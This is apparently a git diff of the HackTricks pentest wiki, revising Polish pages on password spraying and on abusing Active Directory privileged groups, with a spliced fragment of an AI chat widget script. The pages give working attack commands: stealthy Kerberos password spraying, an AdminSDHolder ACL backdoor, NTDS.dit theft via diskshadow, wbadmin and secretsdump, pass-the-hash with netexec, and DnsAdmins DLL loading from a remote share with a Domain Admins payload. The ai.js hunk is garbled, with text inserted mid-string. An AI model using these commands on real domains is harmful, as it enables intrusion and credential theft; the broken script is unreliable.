bind SMB/NTLM/LDAP i lepiej współgra z politykami blokowania AD. SpearSpray łączy ukierunkowanie oparte na LDAP, silnik wzorców i świadomość polityk (domain policy + PSOs + badPwdCount buffer), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte konta w Neo4j dla ścieżek BloodHound. +Kerberos pre-auth–based spraying zmniejsza hałas w porównaniu z próbami bind SMB/NTLM/LDAP i lepiej współgra z politykami lockout w AD. SpearSpray łączy LDAP-driven targeting, pattern engine oraz policy awareness (domain policy + PSOs + bufor badPwdCount), aby wykonywać spray precyzyjnie i bezpiecznie. Może też oznaczać przejęte principals w Neo4j dla ścieżek w BloodHound. Key ideas: -- LDAP user discovery z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP. -- Domain lockout policy + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (threshold) i unikać blokowania użytkowników. -- Walidacja Kerberos pre-auth przy użyciu szybkich gssapi bindings (generuje 4768/4771 na DCs zamiast 4625). -- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości temporalne wyprowadzone z pwdLastSet każdego użytkownika. -- Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę. -- Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound. +- LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters. +- Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users. +- Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625). +- Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet. +- Throughput control with threads, jitter, and max requests per second. +- Optional Neo4j integration to mark owned users for BloodHound. Basic usage and discovery: ```bash @@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # LDAPS (TCP/636) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl ``` -Targetowanie i kontrola wzorców: +Celowanie i kontrola wzorców: ```bash # Custom LDAP filter (e.g., target specific OU/attributes) spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ @@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME ``` -Kontrole stealth i bezpieczeństwa: +Kontrole ukrycia i bezpieczeństwa: ```bash # Control concurrency, add jitter, and cap request rate spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 @@ -176,27 +191,27 @@ Przegląd systemu wzorców (patterns.txt): ``` Dostępne zmienne obejmują: - {name}, {samaccountname} -- Temporal z pwdLastSet każdego użytkownika (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} -- Elementy pomocnicze kompozycji i token organizacji: {separator}, {suffix}, {extra} +- Wartości czasowe z każdego użytkownika: pwdLastSet (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} +- Pomocnicze elementy kompozycji i token organizacji: {separator}, {suffix}, {extra} Uwagi operacyjne: -- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z politykami. -- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i odpowiedniego rozłożenia w czasie, aby pozostać bezpiecznym. -- Próby pre-auth Kerberos pojawiają się jako 4768/4771 w telemetryce DC; używaj jitter i rate-limiting, aby się wtopić. +- Preferuj zapytania do PDC-emulator z użyciem -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką. +- Reset badPwdCount jest wyzwalany przy następnym podejściu po okresie obserwacji; stosuj progi i odpowiednie odstępy czasowe, aby zachować bezpieczeństwo. +- Próby Kerberos pre-auth pojawiają się jako 4768/4771 w DC telemetry; używaj jitter i rate-limiting, aby się wtopić. -> Wskazówka: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed. +> Wskazówka: Domyślny rozmiar strony LDAP w SpearSpray to 200; w razie potrzeby dostosuj za pomocą -lps. ## Outlook Web Access -Istnieje wiele narzędzi do p**assword spraying outlook**. +Jest wiele narzędzi do p**assword spraying outlook**. - Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) -- Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) -- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodny!) +- z [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) +- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodne!) - Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / krótkiej listy passwords do sprayowania. +Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -215,7 +230,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## Referencje +## Źródła - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) @@ -227,6 +242,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index 2cf0705b6..7502ac1b9 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -4,25 +4,25 @@ ## Znane grupy z uprawnieniami administracyjnymi -- **Administratorzy** -- **Administratorzy domeny** -- **Administratorzy przedsiębiorstwa** +- **Administrators** +- **Domain Admins** +- **Enterprise Admins** -## Operatorzy kont +## Account Operators -Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do Kontrolera Domeny (DC). +Ta grupa ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC). Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie: ```bash Get-NetGroupMember -Identity "Account Operators" -Recurse ``` -Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01. +Dozwolone jest dodawanie nowych użytkowników oraz lokalne logowanie do DC. -## Grupa AdminSDHolder +## Grupa **AdminSDHolder** -Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom. +Lista kontroli dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich „chronionych grup” w Active Directory, w tym grup o wysokich uprawnieniach. Ten mechanizm zabezpiecza te grupy, uniemożliwiając nieautoryzowane modyfikacje. -Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu. +Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder** i przyznając zwykłemu użytkownikowi pełne uprawnienia. Spowodowałoby to, że użytkownik miałby de facto pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną one automatycznie przywrócone w ciągu godziny ze względu na sposób działania systemu. Polecenia do przeglądania członków i modyfikowania uprawnień obejmują: ```bash @@ -30,31 +30,31 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} ``` -Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). +Dostępny jest skrypt przyspieszający proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). -Aby uzyskać więcej szczegółów, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). +Więcej informacji na [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). -## Kosz na AD +## AD Recycle Bin Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje: ```bash Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * ``` -### Dostęp do Kontrolera Domeny +### Dostęp do kontrolera domeny -Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy `Server Operators`, co zmienia poziom dostępu. +Dostęp do plików na DC jest ograniczony, chyba że użytkownik należy do grupy `Server Operators`, co zmienia poziom uprawnień. -### Eskalacja Uprawnień +### Privilege Escalation -Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień: +Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmienić uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co umożliwia wykonywanie dowolnych poleceń i privilege escalation: ```cmd C:\> .\PsService.exe security AppReadiness ``` -To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulację usługami w celu uzyskania podwyższonych uprawnień. +To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulowanie usługami w celu eskalacji uprawnień. ## Backup Operators -Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` dzięki uprawnieniom `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie. +Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` z powodu uprawnień `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przeglądanie folderów, listowanie i kopiowanie plików, nawet bez jawnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. W tym celu konieczne jest użycie odpowiednich skryptów. Aby wyświetlić członków grupy, wykonaj: ```bash @@ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse ``` ### Atak lokalny -Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki: +Aby wykorzystać te uprawnienia lokalnie, wykonuje się następujące kroki: -1. Importuj niezbędne biblioteki: +1. Zaimportuj niezbędne biblioteki: ```bash Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeCmdLets.dll @@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll Set-SeBackupPrivilege Get-SeBackupPrivilege ``` -3. Uzyskaj dostęp i skopiuj pliki z zastrzeżonych katalogów, na przykład: +3. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład: ```bash dir C:\Users\Administrator\ Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite ``` -### AD Attack +### Atak AD -Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych `NTDS.dit`, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie. +Bezpośredni dostęp do systemu plików kontrolera domeny pozwala na kradzież bazy `NTDS.dit`, która zawiera wszystkie hashe NTLM użytkowników i komputerów w domenie. -#### Using diskshadow.exe +#### Korzystanie z diskshadow.exe -1. Create a shadow copy of the `C` drive: +1. Utwórz shadow copy dysku `C`: ```cmd diskshadow.exe set verbose on @@ -98,27 +98,35 @@ expose %cdrive% F: end backup exit ``` -2. Skopiuj `NTDS.dit` z kopii zapasowej: +2. Skopiuj `NTDS.dit` z shadow copy: ```cmd Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit ``` -Alternatywnie, użyj `robocopy` do kopiowania plików: +Alternatywnie użyj `robocopy` do kopiowania plików: ```cmd robocopy /B F:\Windows\NTDS .\ntds ntds.dit ``` -3. Wyodrębnij `SYSTEM` i `SAM` w celu odzyskania haszy: +3. Wyodrębnij `SYSTEM` i `SAM` w celu pobrania hashów: ```cmd reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SAM SAM.SAV ``` -4. Pobierz wszystkie hashe z `NTDS.dit`: +4. Pobierz wszystkie hashes z `NTDS.dit`: ```shell-session secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL ``` -#### Używanie wbadmin.exe +5. Po ekstrakcji: Pass-the-Hash do DA +```bash +# Use the recovered Administrator NT hash to authenticate without the cleartext password +netexec winrm -u Administrator -H -x "whoami" + +# Or execute via SMB using an exec method +netexec smb -u Administrator -H --exec-method smbexec -x cmd +``` +#### Użycie wbadmin.exe 1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej. -2. Użyj `wbadmin.exe` do tworzenia kopii zapasowej systemu i ekstrakcji `NTDS.dit`: +2. Użyj `wbadmin.exe` do wykonania kopii zapasowej systemu i wyodrębnienia `NTDS.dit`: ```cmd net use X: \\\sharename /user:smbuser password echo "Y" | wbadmin start backup -backuptarget:\\\sharename -include:c:\windows\ntds @@ -126,23 +134,29 @@ wbadmin get versions echo "Y" | wbadmin start recovery -version: -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl ``` -Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). +For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). ## DnsAdmins -Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji. +Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnej DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na Domain Controllers. Ta możliwość daje znaczny potencjał do wykorzystania. Aby wyświetlić członków grupy DnsAdmins, użyj: ```bash Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` -### Wykonaj dowolny DLL +### Execute arbitrary DLL (CVE‑2021‑40469) -Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak: +> [!NOTE] +> Ta luka umożliwia wykonanie dowolnego kodu z uprawnieniami SYSTEM w usłudze DNS (zazwyczaj na DCs). Problem został naprawiony w 2021 roku. + +Members mogą spowodować, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udziału), używając poleceń takich jak: ```bash dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: + +# If dnscmd is not installed run from aprivileged PowerShell session: +Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools ``` ```c @@ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma // Generate DLL with msfvenom msfvenom -p windows/x64/exec cmd='net group "domain admins" /add /domain' -f dll -o adduser.dll ``` -Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby DLL mogła zostać załadowana: +Zrestartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby plik DLL został załadowany: ```csharp sc.exe \\dc01 stop dns sc.exe \\dc01 start dns ``` -Dla uzyskania dalszych informacji na temat tego wektora ataku, odwołaj się do ired.team. +Po więcej szczegółów na temat tego wektora ataku zobacz ired.team. #### Mimilib.dll -Możliwe jest również użycie mimilib.dll do wykonania poleceń, modyfikując go w celu wykonania konkretnych poleceń lub odwrotnych powłok. [Sprawdź ten post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) w celu uzyskania dalszych informacji. +Możliwe jest także użycie mimilib.dll do wykonywania poleceń, modyfikując ją tak, aby uruchamiała określone komendy lub reverse shells. [Check this post](https://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html) for more information. ### Rekord WPAD dla MitM -DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM), tworząc rekord WPAD po wyłączeniu globalnej listy blokad zapytań. Narzędzia takie jak Responder lub Inveigh mogą być używane do fałszowania i przechwytywania ruchu sieciowego. +DnsAdmins mogą manipulować rekordami DNS, aby przeprowadzać ataki Man-in-the-Middle (MitM) poprzez utworzenie rekordu WPAD po wyłączeniu global query block list. Narzędzia takie jak Responder lub Inveigh mogą być użyte do spoofingu i przechwytywania ruchu sieciowego. -### Czytelnicy dzienników zdarzeń -Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci tekstu jawnego lub szczegóły wykonania poleceń: +### Event Log Readers +Członkowie mogą uzyskiwać dostęp do dzienników zdarzeń, potencjalnie znajdując wrażliwe informacje, takie jak hasła w postaci jawnej lub szczegóły wykonania poleceń: ```bash # Get members and search logs for sensitive information Get-NetGroupMember -Identity "Event Log Readers" -Recurse Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} ``` -## Exchange Windows Permissions +## Uprawnienia Exchange Windows -Ta grupa może modyfikować DACL na obiekcie domeny, potencjalnie przyznając uprawnienia DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę są szczegółowo opisane w repozytorium Exchange-AD-Privesc na GitHubie. +Ta grupa może modyfikować DACLs obiektu domeny, co może skutkować przyznaniem uprawnień DCSync. Techniki eskalacji uprawnień wykorzystujące tę grupę zostały opisane szczegółowo w Exchange-AD-Privesc GitHub repo. ```bash # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Administrators -Administratorzy Hyper-V mają pełny dostęp do Hyper-V, co może być wykorzystane do przejęcia kontroli nad wirtualizowanymi kontrolerami domeny. Obejmuje to klonowanie aktywnych kontrolerów domeny i wydobywanie haszy NTLM z pliku NTDS.dit. +Hyper-V Administrators mają pełny dostęp do Hyper-V, który może zostać wykorzystany do przejęcia kontroli nad wirtualizowanymi Domain Controllers. Obejmuje to klonowanie działających DCs oraz wyodrębnianie hashy NTLM z pliku NTDS.dit. -### Przykład wykorzystania +### Exploitation Example -Usługa konserwacyjna Mozilla Firefox może być wykorzystywana przez administratorów Hyper-V do wykonywania poleceń jako SYSTEM. Polega to na utworzeniu twardego linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym: +Firefox's Mozilla Maintenance Service może być wykorzystana przez Hyper-V Administrators do wykonania poleceń jako SYSTEM. Polega to na utworzeniu hard linku do chronionego pliku SYSTEM i zastąpieniu go złośliwym plikiem wykonywalnym: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe sc.exe start MozillaMaintenance ``` -Note: Wykorzystanie twardych linków zostało złagodzone w ostatnich aktualizacjach systemu Windows. +Uwaga: Hard link exploitation zostało złagodzone w ostatnich aktualizacjach Windows. -## Zarządzanie Organizacją +## Group Policy Creators Owners -W środowiskach, w których zainstalowany jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma znaczące uprawnienia. Grupa ta ma prawo do **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** i utrzymuje **pełną kontrolę nad jednostką organizacyjną 'Microsoft Exchange Security Groups'** (OU). Kontrola ta obejmuje grupę **`Exchange Windows Permissions`**, która może być wykorzystana do eskalacji uprawnień. +Ta grupa pozwala członkom tworzyć Group Policies w domenie. Jednak jej członkowie nie mogą stosować Group Policies do użytkowników lub grup ani edytować istniejących GPOs. -### Wykorzystanie Uprawnień i Komendy +## Organization Management -#### Operatorzy Drukarek +W środowiskach, gdzie wdrożony jest **Microsoft Exchange**, specjalna grupa znana jako **Organization Management** ma istotne uprawnienia. Grupa ta ma przywilej **dostępu do skrzynek pocztowych wszystkich użytkowników domeny** oraz posiada **pełną kontrolę nad jednostką organizacyjną (OU) 'Microsoft Exchange Security Groups'**. Ta kontrola obejmuje grupę **`Exchange Windows Permissions`**, którą można wykorzystać do eskalacji uprawnień. -Członkowie grupy **Print Operators** mają przyznane kilka uprawnień, w tym **`SeLoadDriverPrivilege`**, które pozwala im na **lokalne logowanie się do kontrolera domeny**, jego wyłączanie oraz zarządzanie drukarkami. Aby wykorzystać te uprawnienia, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczne w kontekście bez podwyższonych uprawnień, konieczne jest ominięcie Kontroli Konta Użytkownika (UAC). +### Wykorzystywanie uprawnień i polecenia -Aby wylistować członków tej grupy, używa się następującej komendy PowerShell: +#### Print Operators + +Członkowie grupy **Print Operators** posiadają kilka przywilejów, w tym **`SeLoadDriverPrivilege`**, który pozwala im **zalogować się lokalnie do Domain Controller**, wyłączyć go oraz zarządzać drukarkami. Aby wykorzystać te przywileje, szczególnie jeśli **`SeLoadDriverPrivilege`** nie jest widoczny w niepodwyższonym kontekście, konieczne jest obejście User Account Control (UAC). + +Aby wyświetlić członków tej grupy, użyj następującego polecenia PowerShell: ```bash Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy skonsultować się z konkretnymi zasobami bezpieczeństwa. +Aby uzyskać bardziej szczegółowe techniki eksploatacji związane z **`SeLoadDriverPrivilege`**, należy zapoznać się ze specjalistycznymi źródłami dotyczącymi bezpieczeństwa. #### Użytkownicy pulpitu zdalnego -Członkowie tej grupy mają dostęp do komputerów za pośrednictwem protokołu pulpitu zdalnego (RDP). Aby wylistować tych członków, dostępne są polecenia PowerShell: +Członkom tej grupy przyznano dostęp do komputerów za pomocą Remote Desktop Protocol (RDP). Aby wyświetlić członków tej grupy, dostępne są polecenia PowerShell: ```bash Get-NetGroupMember -Identity "Remote Desktop Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users" ``` -Dalsze informacje na temat wykorzystywania RDP można znaleźć w dedykowanych zasobach pentestingowych. +Dalsze informacje dotyczące exploiting RDP można znaleźć w dedykowanych pentesting resources. #### Użytkownicy zdalnego zarządzania -Członkowie mogą uzyskiwać dostęp do komputerów za pomocą **Windows Remote Management (WinRM)**. Wykrywanie tych członków osiąga się poprzez: +Członkowie mogą uzyskiwać dostęp do komputerów przez **Windows Remote Management (WinRM)**. Enumeracja tych członków jest przeprowadzana za pomocą: ```bash Get-NetGroupMember -Identity "Remote Management Users" -Recurse Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users" ``` -Aby uzyskać informacje na temat technik eksploatacji związanych z **WinRM**, należy skonsultować się z odpowiednią dokumentacją. +W przypadku technik eksploatacji związanych z **WinRM** należy zapoznać się z odpowiednią dokumentacją. #### Operatorzy serwera -Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia kopii zapasowych i przywracania, zmiany czasu systemowego oraz wyłączania systemu. Aby wylistować członków, użyj podanego polecenia: +Ta grupa ma uprawnienia do wykonywania różnych konfiguracji na kontrolerach domeny, w tym uprawnienia do tworzenia i przywracania kopii zapasowych, zmiany czasu systemowego oraz wyłączania systemu. Aby wyenumerować członków, użyj podanego polecenia: ```bash Get-NetGroupMember -Identity "Server Operators" -Recurse ``` -## References +## Źródła - [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges) - [https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/](https://www.tarlogic.com/en/blog/abusing-seloaddriverprivilege-for-privilege-escalation/) @@ -257,6 +275,7 @@ Get-NetGroupMember -Identity "Server Operators" -Recurse - [https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys](https://github.com/FuzzySecurity/Capcom-Rootkit/blob/master/Driver/Capcom.sys) - [https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e](https://posts.specterops.io/a-red-teamers-guide-to-gpos-and-ous-f0d03976a31e) - [https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html](https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FExecutable%20Images%2FNtLoadDriver.html) +- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index 9de4ec902..761454181 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -5,7 +5,10 @@ (() => { const KEY = 'htSummerDiscountsDismissed'; - const IMG = '/images/discount.jpeg'; + const IMG = '/ima * HackTricks AI Chat Widget v1.17 – enhanced resizable sidebar + * --------------------------------------------------- + * ❶ Markdown rendering + sanitised (same as before) + * ❷ ENHANCED: improved drag‑to‑resize panel with better UXdiscount.jpeg'; const TXT = 'Click here for HT Summer Discounts, Last Days!'; const URL = 'https://training.hacktricks.xyz'; @@ -13,7 +16,20 @@ if (localStorage.getItem(KEY) === 'true') return; // Quick helper - const $ = (tag, css = '') => Object.assign(document.createElement(tag), { style: css }); + const $ = (tag, css = '') => Object.assign(document.cr p.innerHTML = ` +
+ HackTricks AI Chat + ↔ Drag edge to resize +
+ + +
+
+
+
+ + +
`;tag), { style: css }); // --- Overlay (blur + dim) --- const overlay = $('div', ` @@ -111,7 +127,7 @@ const MAX_CONTEXT = 3000; // highlighted‑text char limit const MAX_QUESTION = 500; // question char limit const MIN_W = 250; // ← resize limits → - const MAX_W = 600; + const MAX_W = 800; const DEF_W = 350; // default width (if nothing saved) const TOOLTIP_TEXT = "💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it"; @@ -345,8 +361,9 @@ #ht-ai-panel{position:fixed;top:0;right:0;height:100%;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif} #ht-ai-panel.open{transform:translateX(0)} @media(max-width:768px){#ht-ai-panel{display:none}} -#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333} -#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center} +#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333;flex-wrap:wrap} +#ht-ai-header strong{flex-shrink:0} +#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center;margin-left:auto} #ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0} #ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7} #ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px} @@ -367,8 +384,10 @@ ::selection{background:#ffeb3b;color:#000} ::-moz-selection{background:#ffeb3b;color:#000} /* NEW: resizer handle */ -#ht-ai-resizer{position:absolute;left:0;top:0;width:6px;height:100%;cursor:ew-resize;background:transparent} 